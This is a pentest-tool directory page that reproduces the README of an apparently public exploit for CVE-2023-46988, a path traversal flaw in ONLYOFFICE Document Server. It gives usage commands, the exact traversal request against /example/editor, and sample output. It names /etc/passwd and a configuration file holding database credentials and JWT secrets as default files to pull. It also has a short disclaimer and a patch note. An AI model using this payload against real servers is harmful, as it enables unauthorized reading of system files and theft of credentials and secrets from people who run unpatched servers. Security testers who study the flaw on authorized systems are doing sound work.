Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
OnlyOffice-path-traversal — CVE-2023-46988: ONLYOFFICE Path Traversal Exploit | Kitploit
Tools/GitHubGitHub/mihat2/onlyoffice-path-traversal
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubmihat2/onlyoffice-path-traversal

OnlyOffice-path-traversal

CVE-2023-46988: ONLYOFFICE Path Traversal Exploit

View Repository
241 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    603
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    390
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    301
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    263

Explore all tools

Browse our collection of tools

View all tools →
Share

ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)

📌 Overview

This script exploits a path traversal vulnerability in ONLYOFFICE Document Server (CVE-2023-46988) that allows unauthorized users to copy arbitrary files from the server. The vulnerability exists in the /example/editor endpoint, where the fileExt parameter can be manipulated to access sensitive system and configuration files.

⚠️ Disclaimer

This tool is for educational and authorized security research purposes only.
Unauthorized use against systems without explicit permission is illegal and unethical.

🛠 Features

  • Retrieve default sensitive files:
    • /etc/passwd
    • /etc/onlyoffice/documentserver/local.json (contains database credentials & JWT secrets)
  • Specify any file path to retrieve with the --file argument.
  • Supports optional proxying for Burp Suite interception (--proxy).
  • Supports optional SSL verification (--verify).
  • Fixes encoding issues when downloading files with special characters.

🚀 Usage

1️⃣ Basic Usage (Retrieve Default Files)

python onlyoffice_exploit.py http://localhost

This retrieves:

  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json

2️⃣ Retrieve a Custom File (e.g., /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Enable Proxy (e.g., Burp Suite on 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Enable SSL Verification

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Combine Proxy & SSL Verification

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 How It Works

  1. Sends a request to /example/editor with a malicious fileExt parameter:
    GET /example/editor?fileExt=../../../../../../../../etc/passwd
    
  2. Extracts the redirect URL from the response.
  3. Parses the redirected filename from the response.
  4. Fixes encoding issues for special characters in filenames.
  5. Downloads the file from /example/download?fileName=<extracted_filename>.

🛠 Example Output

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Mitigation

ONLYOFFICE has patched this vulnerability in their February 2024 update.
Users should update to the latest version to protect their servers.

🐜 License

This project is licensed under the MIT License – see the LICENSE file for details.

Download Tool